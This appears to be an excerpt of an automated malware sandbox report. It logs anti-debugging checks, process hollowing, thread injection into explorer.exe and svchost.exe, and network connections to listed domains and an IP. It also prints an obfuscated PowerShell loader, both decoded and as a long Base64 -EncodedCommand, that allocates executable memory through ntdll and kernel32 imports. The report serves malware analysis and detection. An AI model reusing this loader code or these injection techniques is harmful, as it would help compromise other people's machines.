Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F8ED6 mov eax, dword ptr fs:[00000030h] 26_2_034F8ED6
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034376E2 mov eax, dword ptr fs:[00000030h] 26_2_034376E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034516E0 mov ecx, dword ptr fs:[00000030h] 26_2_034516E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034BFE87 mov eax, dword ptr fs:[00000030h] 26_2_034BFE87
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F0EA5 mov eax, dword ptr fs:[00000030h] 26_2_034F0EA5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F0EA5 mov eax, dword ptr fs:[00000030h] 26_2_034F0EA5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F0EA5 mov eax, dword ptr fs:[00000030h] 26_2_034F0EA5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A46A7 mov eax, dword ptr fs:[00000030h] 26_2_034A46A7
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03463D43 mov eax, dword ptr fs:[00000030h] 26_2_03463D43
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A3540 mov eax, dword ptr fs:[00000030h] 26_2_034A3540
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03447D50 mov eax, dword ptr fs:[00000030h] 26_2_03447D50
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0344C577 mov eax, dword ptr fs:[00000030h] 26_2_0344C577
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0344C577 mov eax, dword ptr fs:[00000030h] 26_2_0344C577
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0342AD30 mov eax, dword ptr fs:[00000030h] 26_2_0342AD30
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03433D34 mov eax, dword ptr fs:[00000030h] 26_2_03433D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034EE539 mov eax, dword ptr fs:[00000030h] 26_2_034EE539
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F8D34 mov eax, dword ptr fs:[00000030h] 26_2_034F8D34
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034AA537 mov eax, dword ptr fs:[00000030h] 26_2_034AA537
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03454D3B mov eax, dword ptr fs:[00000030h] 26_2_03454D3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03454D3B mov eax, dword ptr fs:[00000030h] 26_2_03454D3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03454D3B mov eax, dword ptr fs:[00000030h] 26_2_03454D3B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6DC9 mov eax, dword ptr fs:[00000030h] 26_2_034A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6DC9 mov eax, dword ptr fs:[00000030h] 26_2_034A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6DC9 mov eax, dword ptr fs:[00000030h] 26_2_034A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6DC9 mov ecx, dword ptr fs:[00000030h] 26_2_034A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6DC9 mov eax, dword ptr fs:[00000030h] 26_2_034A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6DC9 mov eax, dword ptr fs:[00000030h] 26_2_034A6DC9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0343D5E0 mov eax, dword ptr fs:[00000030h] 26_2_0343D5E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0343D5E0 mov eax, dword ptr fs:[00000030h] 26_2_0343D5E0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034EFDE2 mov eax, dword ptr fs:[00000030h] 26_2_034EFDE2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034EFDE2 mov eax, dword ptr fs:[00000030h] 26_2_034EFDE2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034EFDE2 mov eax, dword ptr fs:[00000030h] 26_2_034EFDE2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034EFDE2 mov eax, dword ptr fs:[00000030h] 26_2_034EFDE2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034D8DF1 mov eax, dword ptr fs:[00000030h] 26_2_034D8DF1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03452581 mov eax, dword ptr fs:[00000030h] 26_2_03452581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03452581 mov eax, dword ptr fs:[00000030h] 26_2_03452581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03452581 mov eax, dword ptr fs:[00000030h] 26_2_03452581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03452581 mov eax, dword ptr fs:[00000030h] 26_2_03452581
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03422D8A mov eax, dword ptr fs:[00000030h] 26_2_03422D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03422D8A mov eax, dword ptr fs:[00000030h] 26_2_03422D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03422D8A mov eax, dword ptr fs:[00000030h] 26_2_03422D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03422D8A mov eax, dword ptr fs:[00000030h] 26_2_03422D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03422D8A mov eax, dword ptr fs:[00000030h] 26_2_03422D8A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0345FD9B mov eax, dword ptr fs:[00000030h] 26_2_0345FD9B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0345FD9B mov eax, dword ptr fs:[00000030h] 26_2_0345FD9B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F05AC mov eax, dword ptr fs:[00000030h] 26_2_034F05AC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F05AC mov eax, dword ptr fs:[00000030h] 26_2_034F05AC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034535A1 mov eax, dword ptr fs:[00000030h] 26_2_034535A1
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03451DB5 mov eax, dword ptr fs:[00000030h] 26_2_03451DB5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03451DB5 mov eax, dword ptr fs:[00000030h] 26_2_03451DB5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_03451DB5 mov eax, dword ptr fs:[00000030h] 26_2_03451DB5
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0345A44B mov eax, dword ptr fs:[00000030h] 26_2_0345A44B
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034BC450 mov eax, dword ptr fs:[00000030h] 26_2_034BC450
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034BC450 mov eax, dword ptr fs:[00000030h] 26_2_034BC450
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_0344746D mov eax, dword ptr fs:[00000030h] 26_2_0344746D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6C0A mov eax, dword ptr fs:[00000030h] 26_2_034A6C0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6C0A mov eax, dword ptr fs:[00000030h] 26_2_034A6C0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6C0A mov eax, dword ptr fs:[00000030h] 26_2_034A6C0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034A6C0A mov eax, dword ptr fs:[00000030h] 26_2_034A6C0A
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F740D mov eax, dword ptr fs:[00000030h] 26_2_034F740D
Source: C:\Windows\SysWOW64\svchost.exe Code function: 26_2_034F740D mov eax, dword ptr fs:[00000030h] 26_2_034F740D
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process queried: DebugPort Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC86A60 rdtscp 23_2_1EC86A60
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Process token adjusted: Debug Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Code function: 23_2_1EC996E0 NtFreeVirtualMemory,LdrInitializeThunk, 23_2_1EC996E0

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.dentalbatonrouge.com
Source: C:\Windows\explorer.exe Domain query: www.yzicpa.com
Source: C:\Windows\explorer.exe Network Connect: 108.175.14.116 80 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Section loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Encrypted powershell cmdline option found
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #AIRED Sengelej Vendeta8 TEISTE Foelelsesm9 antityro TILS BLGFRU Bydef5 Mili5 Appos softfontet alko nonmarket Modis Mois Unveiled Unemac garblesf teena SHUTTLE Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Ofayve1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Ofayve6,ref Int32 Swat9,int Rasko8,ref Int32 Ofayve,int Metzerespe9,int Ofayve7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string BUTTERMA,uint Contra6,int undvrpieti,int Ofayve0,int Foldysy7,int Oboer8,int BLUFF);[DllImport("kernel32.dll")]public static extern int ReadFile(int Rasko80,uint Rasko81,IntPtr Rasko82,ref Int32 Rasko83,int Rasko84);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Rasko85,int Rasko86,int Rasko87,int Rasko88,int Rasko89);}"@#Hutu7 garan dysch UNUNI Stor OVERIN liftma Electrodi Irriteret4 Boninite7 ecdysonan shar Karantnest brutto antraci Fyrme Laudruptri6 despotiz Tempelk Retssik demoudgave TACTU Obju LUDICROUSC stum Unpl Outsho8 nonpos Talehm Prote2 Test-Path "jobnavn" Test-Path "DRON" $Ofayve3=0;$Ofayve9=1048576;$Ofayve8=[Ofayve1]::NtAllocateVirtualMemory(-1,[ref]$Ofayve3,0,[ref]$Ofayve9,12288,64)#aishahska whamplave Studi7 Allegre8 Particular3 Savag3 ankomstr BYGNINGSSN Speede Vinhs2 Undere8 Epuralbial SUBTEST Degra Bemean8 PRSI Soldaterhj Prostituti1 utnkel Acreages7 FORD UNSOLEM OCCUPI ACCOUT KULTU Forhaile9 pla
Source: C:\Windows\System32\wscript.exe Process created: Base64 decoded #AIRED Sengelej Vendeta8 TEISTE Foelelsesm9 antityro TILS BLGFRU Bydef5 Mili5 Appos softfontet alko nonmarket Modis Mois Unveiled Unemac garblesf teena SHUTTLE Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Ofayve1{[DllImport("ntdll.dll")]public static extern int NtAllocateVirtualMemory(int Ofayve6,ref Int32 Swat9,int Rasko8,ref Int32 Ofayve,int Metzerespe9,int Ofayve7);[DllImport("kernel32.dll")]public static extern IntPtr CreateFileA(string BUTTERMA,uint Contra6,int undvrpieti,int Ofayve0,int Foldysy7,int Oboer8,int BLUFF);[DllImport("kernel32.dll")]public static extern int ReadFile(int Rasko80,uint Rasko81,IntPtr Rasko82,ref Int32 Rasko83,int Rasko84);[DllImport("user32.dll")]public static extern IntPtr CallWindowProcW(IntPtr Rasko85,int Rasko86,int Rasko87,int Rasko88,int Rasko89);}"@#Hutu7 garan dysch UNUNI Stor OVERIN liftma Electrodi Irriteret4 Boninite7 ecdysonan shar Karantnest brutto antraci Fyrme Laudruptri6 despotiz Tempelk Retssik demoudgave TACTU Obju LUDICROUSC stum Unpl Outsho8 nonpos Talehm Prote2 Test-Path "jobnavn" Test-Path "DRON" $Ofayve3=0;$Ofayve9=1048576;$Ofayve8=[Ofayve1]::NtAllocateVirtualMemory(-1,[ref]$Ofayve3,0,[ref]$Ofayve9,12288,64)#aishahska whamplave Studi7 Allegre8 Particular3 Savag3 ankomstr BYGNINGSSN Speede Vinhs2 Undere8 Epuralbial SUBTEST Degra Bemean8 PRSI Soldaterhj Prostituti1 utnkel Acreages7 FORD UNSOLEM OCCUPI ACCOUT KULTU Forhaile9 pla Jump to behavior
Sample uses process hollowing technique
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Section unmapped: C:\Windows\SysWOW64\svchost.exe base address: 3E0000 Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Program Files (x86)\Internet Explorer\ieinstal.exe base: 2CD0000 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe Thread register set: target process: 3440 Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe Thread register set: target process: 3440 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAEkAUgBFAEQAIABTAGUAbgBnAGUAbABlAGoAIABWAGUAbgBkAGUAdABhADgAIABUAEUASQBTAFQARQAgAEYAbwBlAGwAZQBsAHMAZQBzAG0AOQAgAGEAbgB0AGkAdAB5AHIAbwAgAFQASQBMAFMAIABCAEwARwBGAFIAVQAgAEIAeQBkAGUAZgA1ACAATQBpAGwAaQA1ACAAQQBwAHAAbwBzACAAcwBvAGYAdABmAG8AbgB0AGUAdAAgAGEAbABrAG8AIABuAG8AbgBtAGEAcgBrAGUAdAAgAE0AbwBkAGkAcwAgAE0AbwBpAHMAIABVAG4AdgBlAGkAbABlAGQAIABVAG4AZQBtAGEAYwAgAGcAYQByAGIAbABlAHMAZgAgAHQAZQBlAG4AYQAgAFMASABVAFQAVABMAEUAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAE8AZgBhAHkAdgBlADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABPAGYAYQB5AHYAZQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAHcAYQB0ADkALABpAG4AdAAgAFIAYQBzAGsAbwA4ACwAcgBlAGYAIABJAG4AdAAzADIAIABPAGYAYQB5AHYAZQAsAGkAbgB0ACAATQBlAHQAegBlAHIAZQBzAHAAZQA5ACwAaQBuAHQAIABPAGYAYQB5AHYAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAEIAVQBUAFQARQBSAE0AQQAsAHUAaQBuAHQAIABDAG8AbgB0AHIAYQA2ACwAaQBuAHQAIAB1AG4AZAB2AHIAcABpAGUAdABpACwAaQBuAHQAIABPAGYAYQB5AHYAZQAwACwAaQBuAHQAIABGAG8AbABkAHkAcwB5ADcALABpAG4AdAAgAE8AYgBvAGUAcgA4ACwAaQBuAHQAIABCAEwAVQBGAEYAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFIAZQBhAGQARgBpAGwAZQAoAGkAbgB0ACAAUgBhAHMAawBvADgAMAAsAHUAaQBuAHQAIABSAGEAcwBrAG8AOAAxACwASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAAyACwAcgBlAGYAIABJAG4AdAAzADIAIABSAGEAcwBrAG8AOAAzACwAaQBuAHQAIABSAGEAcwBrAG8AOAA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAA1ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA2ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA3ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA4ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAEgAdQB0AHUANwAgAGcAYQByAGEAbgAgAGQAeQBzAGMAaAAgAFUATgBVAE4ASQAgAFMAdABvAHIAIABPAFYARQBSAEkATgAgAGwAaQBmAHQAbQBhACAARQBsAGUAYwB0AHIAbwBkAGkAIABJAHIAcgBpAHQAZQByAGUAdAA0ACAAQgBvAG4AaQBuAGkAdABlADcAIABlAGMAZAB5AHMAbwBuAGEAbgAgAHMAaABhAHIAIABLAGEAcgBhAG4AdABuAGUAcwB0ACAAYgByAHUAdAB0AG8AIABhAG4AdAByAGEAYwBpACAARgB5AHIAbQBlACAATABhAHUAZAByAHUAcAB0AHIAaQA2ACAAZABlAHMAcABvAHQAaQB6ACAAVABlAG0AcABlAGwAawAgAFIAZQB0AHMAcwBpAGsAIABkAGUAbQBvAHUAZABnAGEAdgBlACAAVABBAEMAVABVACAATwBiAGoAdQAgAEwAVQBEAEkAQwBSAE8AVQBTAEMAIABzAHQAdQBtACAAV
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAEkAUgBFAEQAIABTAGUAbgBnAGUAbABlAGoAIABWAGUAbgBkAGUAdABhADgAIABUAEUASQBTAFQARQAgAEYAbwBlAGwAZQBsAHMAZQBzAG0AOQAgAGEAbgB0AGkAdAB5AHIAbwAgAFQASQBMAFMAIABCAEwARwBGAFIAVQAgAEIAeQBkAGUAZgA1ACAATQBpAGwAaQA1ACAAQQBwAHAAbwBzACAAcwBvAGYAdABmAG8AbgB0AGUAdAAgAGEAbABrAG8AIABuAG8AbgBtAGEAcgBrAGUAdAAgAE0AbwBkAGkAcwAgAE0AbwBpAHMAIABVAG4AdgBlAGkAbABlAGQAIABVAG4AZQBtAGEAYwAgAGcAYQByAGIAbABlAHMAZgAgAHQAZQBlAG4AYQAgAFMASABVAFQAVABMAEUAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAE8AZgBhAHkAdgBlADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABPAGYAYQB5AHYAZQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAHcAYQB0ADkALABpAG4AdAAgAFIAYQBzAGsAbwA4ACwAcgBlAGYAIABJAG4AdAAzADIAIABPAGYAYQB5AHYAZQAsAGkAbgB0ACAATQBlAHQAegBlAHIAZQBzAHAAZQA5ACwAaQBuAHQAIABPAGYAYQB5AHYAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAEIAVQBUAFQARQBSAE0AQQAsAHUAaQBuAHQAIABDAG8AbgB0AHIAYQA2ACwAaQBuAHQAIAB1AG4AZAB2AHIAcABpAGUAdABpACwAaQBuAHQAIABPAGYAYQB5AHYAZQAwACwAaQBuAHQAIABGAG8AbABkAHkAcwB5ADcALABpAG4AdAAgAE8AYgBvAGUAcgA4ACwAaQBuAHQAIABCAEwAVQBGAEYAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAFIAZQBhAGQARgBpAGwAZQAoAGkAbgB0ACAAUgBhAHMAawBvADgAMAAsAHUAaQBuAHQAIABSAGEAcwBrAG8AOAAxACwASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAAyACwAcgBlAGYAIABJAG4AdAAzADIAIABSAGEAcwBrAG8AOAAzACwAaQBuAHQAIABSAGEAcwBrAG8AOAA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABSAGEAcwBrAG8AOAA1ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA2ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA3ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA4ACwAaQBuAHQAIABSAGEAcwBrAG8AOAA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAEgAdQB0AHUANwAgAGcAYQByAGEAbgAgAGQAeQBzAGMAaAAgAFUATgBVAE4ASQAgAFMAdABvAHIAIABPAFYARQBSAEkATgAgAGwAaQBmAHQAbQBhACAARQBsAGUAYwB0AHIAbwBkAGkAIABJAHIAcgBpAHQAZQByAGUAdAA0ACAAQgBvAG4AaQBuAGkAdABlADcAIABlAGMAZAB5AHMAbwBuAGEAbgAgAHMAaABhAHIAIABLAGEAcgBhAG4AdABuAGUAcwB0ACAAYgByAHUAdAB0AG8AIABhAG4AdAByAGEAYwBpACAARgB5AHIAbQBlACAATABhAHUAZAByAHUAcAB0AHIAaQA2ACAAZABlAHMAcABvAHQAaQB6ACAAVABlAG0AcABlAGwAawAgAFIAZQB0AHMAcwBpAGsAIABkAGUAbQBvAHUAZABnAGEAdgBlACAAVABBAEMAVABVACAATwBiAGoAdQAgAEwAVQBEAEkAQwBSAE8AVQBTAEMAIABzAHQAdQBtACAAV Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBBAEkAUgBFAEQAIABTAGUAbgBnAGUAbABlAGoAIABWAGUAbgBkAGUAdABhADgAIABUAEUASQBTAFQARQAgAEYAbwBlAGwAZQBsAHMAZQBzAG0AOQAgAGEAbgB0AGkAdAB5AHIAbwAgAFQASQBMAFMAIABCAEwARwBGAFIAVQAgAEIAeQBkAGUAZgA1ACAATQBpAGwAaQA1ACAAQQBwAHAAbwBzACAAcwBvAGYAdABmAG8AbgB0AGUAdAAgAGEAbABrAG8AIABuAG8AbgBtAGEAcgBrAGUAdAAgAE0AbwBkAGkAcwAgAE0AbwBpAHMAIABVAG4AdgBlAGkAbABlAGQAIABVAG4AZQBtAGEAYwAgAGcAYQByAGIAbABlAHMAZgAgAHQAZQBlAG4AYQAgAFMASABVAFQAVABMAEUAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAE8AZgBhAHkAdgBlADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABPAGYAYQB5AHYAZQA2ACwAcgBlAGYAIABJAG4AdAAzADIAIABTAHcAYQB0ADkALABpAG4AdAAgAFIAYQBzAGsAbwA4ACwAcgBlAGYAIABJAG4AdAAzADIAIABPAGYAYQB5AHYAZQAsAGkAbgB0ACAATQBlAHQAegBlAHIAZQBzAHAAZQA5ACwAaQBuAHQAIABPAGYAYQB5AHYAZQA3ACk